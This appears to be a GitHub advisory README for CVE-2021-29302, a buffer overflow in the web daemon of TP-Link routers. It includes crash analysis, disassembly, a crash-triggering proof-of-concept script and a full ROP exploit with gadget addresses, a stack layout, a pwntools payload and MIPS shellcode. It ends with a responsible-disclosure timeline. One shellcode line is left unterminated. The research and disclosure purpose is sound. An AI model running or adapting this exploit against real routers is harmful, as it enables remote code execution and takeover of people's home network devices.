liyansong2018 TP-LINK Buffer Overflow & Exploit ... on Jul 3, 2021 History

..

pictures last year

README.md last year

README.md

Buffer 0verflow in TP-Link Devices

Overview

- **CVE ID**: CVE-2021-29302
- **Type**: Buffer overflow
- **Vendor**: TP-LINK (https://www.tp-link.com)
- **Products**: WiFi Router, such as TL-WR802N(US), Archer_C50v5_US, etc.
- **Version**: V4_200 <= 2020.06
- **Fix**: https://static.tp-link.com/beta/2021/202103/20210319/TL-WR802Nv4_US_0.9.1_3.17_up_boot[210317-rel64474].zip

Severity

High 8.1 CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS3.1	Score	Detail
ATTACK VECTOR	Network	Connect the router through the network
ATTACK COMPLEXITY	High	It is necessary to use carefully constructed messages to attack when the router has not set a password
PRIVILEGES REQUIRED	None	No permissions are required
USER INTERACTION	None	No need for users to click
SCOPE	Unchanged	Null
CONFIDENTIALITY	High	RCE
INTEGRITY	High	RCE
AVAILABILITY	High	RCE

Description

There is a buffer overflow when HTTP body message is parsed by httpd process, which may lead to remote code execution. For example, When we set the router password for the first time, the http daemon did not verify the external http message. If we transmit a long user name or password, it will cause the httpd process access to illegal address.

```
POST /cgi?8 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 1497
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/

[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3
name=admin
oldPwd=admin
pwd=
lys123lys1234dffddddddddddddddddddddffddddddddddddddddddddffddddddddddddddddddddffddddddddddddddddddddffddddddddddddddd
ddddddffddddddddddddddddddddffddddddddddddddddddddffddddddddddddddddddddffddddddddddddddddddddffddddddddddddddddddddffdd
ddddddddddddddddddffddddddddddddddddddddffddddddddddddddddddddffddddddddddddddddddddffddddddddddddddddddddffddddddddddd
ddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddf
fddddddddddddddddddlys123lys1234dffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddd
ddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddd
ddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddd
ddddddffddddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddfd
ddddddddddddddddddffddddddddddddddddlys123lys1234dffddddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddddddddd
dffddddddddddddddddddffddddddddddddddddffddddddddddddddddddffddddddddddddddddffddddddddddddddddddffddddddddddddddddddffddddd
ddddddddddddddffddddddddddddddddddddffddddddddddddddddddffddddddddddddddddffddddddddddddddddffddddddddddddddddffddddddddddd
ddddffddddddddddddddddddddddffddddddddddddddddddffddddddddddddddddffddddddddddddddddffddddddddddddddddffddddddddddddddffdd
ddddddddddddddddddffddddddddddddddddddddddddddddffddddddddddddddddd
```

The instruction where the error occurred is `libcmm.so`

```
.text:00082EF8
.text:00082EF8
.text:00082EF8                  .globl dm_checkString
.text:00082EF8 dm_checkString:                          # CODE XREF: dm_validateString+AC↑j
.text:00082EF8                                          # sub_7ADE4+1444↑p ...
.text:00082EF8
.text:00082EF8 var_1C           = -0x1C
.text:00082EF8 var_18           = -0x18
.text:00082EF8 var_14           = -0x14
.text:00082EF8 var_C            = -0xC
.text:00082EF8 var_s0           =  0
.text:00082EF8 var_s4           =  4
.text:00082EF8 var_s8           =  8
.text:00082EF8 var_sC           =  0xC
.text:00082EF8 var_s10          =  0x10
.text:00082EF8
.text:00082EF8                  li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
.text:00082F00                  addu    $gp, $t9
.text:00082F04                  la      $t9, strlen
.text:00082F08                  addiu   $sp, -0x40
.text:00082F0C                  sw      $gp, 0x2C+var_C($sp)
.text:00082F10                  sw      $s3, 0x2C+var_sC($sp)
.text:00082F14                  sw      $s1, 0x2C+var_s4($sp)
.text:00082F18                  sw      $s0, 0x2C+var_s0($sp)
.text:00082F1C                  move    $s1, $a0
.text:00082F20                  sw      $ra, 0x2C+var_s10($sp)
.text:00082F24                  sw      $s2, 0x2C+var_s8($sp)
.text:00082F28                  move    $a0, $a1
.text:00082F2C                  jalr    $t9 ; strlen
.text:00082F30                  move    $s0, $a1
.text:00082F34                  move    $s3, $v0
.text:00082F38                  lw      $v0, 8($s1)
.text:00082F3C                  lw      $gp, 0x2C+var_C($sp)
.text:00082F40                  sltiu   $v1, $v0, 8       # switch 8 cases
.text:00082F44                  beqz    $v1, def_82F68    # jumptable 00082F68 default case
.text:00082F48                  li      $a0, 8
.text:00082F4C                  li      $v1, aUltissid    # "ultiSSID."
.text:00082F50                  sll     $v0, 2
.text:00082F54                  addiu   $v1, (jpt_82F68 - 0xC0000)
.text:00082F58                  addu    $v0, $v1, $v0
.text:00082F5C                  lw      $v0, 0($v0)
.text:00082F60                  nop
.text:00082F64                  addu    $v0, $gp
.text:00082F68                  jr      $v0               # switch jump

00082F14 00082F14: dm_checkString+1C (Synchronized with Hex View-1)
```

Crash log

```
[ httpd_rpm_auth_main ] 086:  pData->uid ERR, -1
[  159.480000] do_page_fault() #2: sending SIGSEGV to httpd for invalid read access from
[  159.480000] 6464646c (epc == 2ab8af38, ra == 2ab8af34)
[  159.480000] Cpu 0
[  159.480000] $ 0   : 00000000 1000a400 00000591 00000590
[  159.480000] $ 4   : 7fed7f00 fefefeff 00000000 00000000
[  159.480000] $ 8   : 00000064 00000000 00000000 00000000
[  159.480000] $12   : 00000000 00000000 00000000 00000000
[  159.484000] $16   : 7fed7f00 64646464 7fed8468 00000591
[  159.484000] $20   : 7fed8451 00000001 00000000 7fedc8c4
[  159.484000] $24   : 00000000 2ae950c0
[  159.484000] $28   : 2abf1410 7fed7e18 7fed8468 2ab8af34
[  159.484000] Hi    : 00000000
[  159.484000] Lo    : 00000054
[  159.484000] epc   : 2ab8af38 0x2ab8af38
[  159.484000]     Not tainted
[  159.484000] ra    : 2ab8af34 0x2ab8af34
[  159.484000] Status: 0000a413    USER EXL IE
[  159.484000] Cause : 10800008
[  159.484000] BadVA : 6464646c
[  159.484000] PrId  : 00019300 (MIPS 24Kc)
[  159.484000] Modules linked in:
[  159.484000] Process httpd (pid: 436, threadinfo=8f0de000, task=8f0a76e0, tls=00000000)
[  159.484000] Stack : 00000070 00000000 00000000 00000000 00000008 00000000 2abf1410 00000000
[  159.488000]         2abf1410 6477506e 00000000 00000000 64646464 7fed8468 7fed7f00 2ab8b630
[  159.488000]         00000000 00000000 00000000 00000000 00000000 00000000 2abf1410 00000000
[  159.488000]         00000000 7fedd6c3 00000008 58800518 7fed8451 00000001 00000000 2ab7fcb8
[  159.488000]         00000000 00000000 00000000 00000000 5880a804 00000000 00000000 00000000
[  159.488000]         ...
[  159.488000] Call Trace:
[  159.488000]
[  159.488000]
[  159.488000] Code: 0320f809  00a08021  00409821 <8e220008> 8fbc0020  2c430008  1060010a  24040008  8f838034
[  159.488000] httpd/436: potentially unexpected fatal signal 11.
[  159.488000]
[  159.488000] Cpu 0
[  159.488000] $ 0   : 00000000 1000a400 00000591 00000590
[  159.488000] $ 4   : 7fed7f00 fefefeff 00000000 00000000
[  159.488000] $ 8   : 00000064 00000000 00000000 00000000
[  159.488000] $12   : 00000000 00000000 00000000 00000000
[  159.492000] $16   : 7fed7f00 64646464 7fed8468 00000591
[  159.492000] $20   : 7fed8451 00000001 00000000 7fedc8c4
```

Vulnerability analysis

Through the tracking of data flow, we found that the problem occurred in the following code

```
66          cdbg_printf(8, "dm_fillObjByStr", 1959, "Get parameter %s's infomation failed.", v25);
67          return 9005;
68        }
69        if ( ((_WORD)v27[3] & 1) == 0 )
70        {
71          cdbg_printf(8, "dm_fillObjByStr", 1965, "Parameter(%s) deny to be written.", v25);
72          return 9001;
73        }
74        v21 = v17 + 1;
75        if ( v14 )
76        {
77          v22 = v14 - v17 - 1;
78          strncpy(v26, v21, v22);
79          v25[v22 + 64] = 0;
80          v8 = (_BYTE *)(v14 + 1);
81          if ( *(_BYTE *)(v14 + 1) )
82          {
83            v14 = strchr(v14 + 1, 10);
84          }
85          else
86          {
87            v15 = 1;
88            v14 = 0;
89          }
90        }
91        else
92        {
93          v15 = 1;
94          strcpy(v26, v21, 1965);
95        }
96        v18 = dm_setParamNodeString(v27, v26, a6);
97        v19 = 1995;
98        if ( v18 )
99        {
100         v23 = (char *)*v27;
101         v20 = "Set parameter %s's value to object error.";
102         goto LABEL_23;
```

overflow

crash

`v21` variable stores the value corresponding to each key-value pair (such as user name and password), The length of the variable `v26` is only 1304 bytes. When we are exploiting the vulnerability, we also need to pay attention to the 96 lines of code that will cause a crash due to buffer overflow.

How to Reproduce (PoC)

It is easy to reproduce this problem.

```
# Only after resetting the router or using the router for the first time, can the script work effectively!
import requests

headers = {
        "Host": "192.168.0.1",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "text/plain",
        "Content-Length": "78",
        "Origin": "http://192.168.0.1",
        "Connection": "close",
        "Referer": "http://192.168.0.1/"
}

payload = "a" * 512 + "b" * 1024
formdata = "[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\nname={}\r\noldPwd=admin\r\npwd=lys123\r\n".format(payload)
```

```
url = "http://192.168.0.1/cgi?8"

response = requests.post(url, data=formdata, headers=headers)
print response.text
```

How to Exploit (exp)

In libuclibc-0.9.33.so, find the widget that can jump to the sleep function, and this widget can assign a value to the RA register, which is convenient to control the instruction that the return address points to.

```
# gadget 1
.text:000369E4                move    $t9, $s0
.text:000369E8                lw      $ra, 0x24($sp)
.text:000369EC                lw      $s0, 0x20($sp)
.text:000369F0                addiu   $a0, 0xC
.text:000369F4                jr      $t9
.text:000369F8                addiu   $sp, 0x28
```

Look for instructions that can store the stack address in the register. The stack address is the shellcode address.

```
# gadget 2
.text:00058894                addiu   $a1, $sp, 0x34
.text:00058898                move    $t9, $s0
.text:0005889C                jalr    $t9
```

Jump to stack to execute code.

```
# gadget 3
.text:0003FD8C                move    $t9, $a1
.text:0003FD90                move    $a1, $a2
.text:0003FD94                jr      $t9
```

Stack layout

```
┌──────────────┐◄──── sp
│              │
│              │
├──────────────┤◄──── sp + 0x68                        #
│     v26      │
├──────────────┤
│              │
│              │
│              │
│              │
│              │
│              │
│              │
├──────────────┤◄──── sp + 0x580                       # 0x5880a764
│     v27      │
├──────────────┤◄──── sp + 0x584
│     v28      │
├──────────────┤◄──── sp + 0x588                       # sleep
│     s0       │
├──────────────┤
│              │
│              │
├──────────────┤◄──── sp + 0x5ac                       # gadget 1
│     ra       │
├──────────────┤◄──── sp1 = sp + 0x5b0
│              │
│              │
├──────────────┤◄──── sp1 + 0x20                       # gadget 3
│     s0       │
├──────────────┤◄──── sp1 + 0x24                       # gadget 2
│     ra       │
├──────────────┤◄──── sp2 = sp1 + 0x28
│              │
│              │
├──────────────┤◄──── sp2 + 0x34                       # shellcode
│  shellcode   │
└──────────────┘
```

payload

```
payload = b'a' * (0x580 - 0x68)
payload += p32(file_base + 0xa780)                    # v27
payload += b'b' * 4
payload += p32(libuclibc_base + 0x56D20)        # s0
payload += b'c' * (0x5ac - 0x588 - 0x4)
payload += p32(libuclibc_base + gadget_1)       # ra = gadget

payload += b'd' * 0x20
payload += p32(libuclibc_base + gadget_3)
payload += p32(libuclibc_base + gadget_2)
payload += b'e' * 0x34
```

result

```
gef➤  c
Continuing.
process 444 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
Reading /lib/ld-uClibc.so.0 from remote target...
Reading /lib/ld-uClibc.so.0 from remote target...
```

exp

```
# Only after resetting the router or using the router for the first time, can the script work effectively!
import requests
from pwn import *

headers = {
    "Host": "192.168.0.1",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "text/plain",
    "Content-Length": "78",
    "Origin": "http://192.168.0.1",
    "Connection": "close",
    "Referer": "http://192.168.0.1/"
}


libcmm_base = 0x2b985000
file_base = 0x58800000
libuclibc_base = 0x2bcdf000

gadget_1 = 0x000369E4
gadget_2 = 0x00058894
gadget_3 = 0x0003FD8C

shellcode = "\x66\x06\x06\x24" + "\xff\xff\xd0\x04" + "\xff\xff\x06\x28" + "\xe0\xff\xbd\x27"+ "\x01\x10\xe4\x27" + "\x1f\xf0\x84\x24

payload = b'a' * (0x580 - 0x68)
payload += p32(file_base + 0xa780)                      # v27
payload += b'b' * 4
payload += p32(libuclibc_base + 0x56D20)        # s0
payload += b'c' * (0x5ac - 0x588 - 0x4)
payload += p32(libuclibc_base + gadget_1)       # ra = gadget

payload += b'd' * 0x20
payload += p32(libuclibc_base + gadget_3)
payload += p32(libuclibc_base + gadget_2)
payload += b'e' * 0x34

payload += shellcode


str_payload = ""

for p in payload:
        str_payload += chr(p)

formdata = "[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\nname=admin\r\noldPwd=admin\r\npwd={}\r\n".format(str_payload)

url = "http://192.168.0.1/cgi?8"
response = requests.post(url, data=formdata, headers=headers)
print(formdata)
print(response.text)
```

Disclosure Timeline

- 14-Mar-2021 Discoverd the vulnerability
- 15-Mar-2021 Responsibly disclosed vulnerability to vendor
- 19-Mar-2021 Vendor Acknowledged the disclosure & Vendor provided software build to verify the issue
- 24-Mar-2021 Requested for CVE-ID assignment
- 29-Mar-2021 CVE-ID Assigned
- 9-Apr-2021 Updated a CVE Record
- 10-Apr-2021 Notify CVE about a publication
- 3-Jul-2021 Added exploit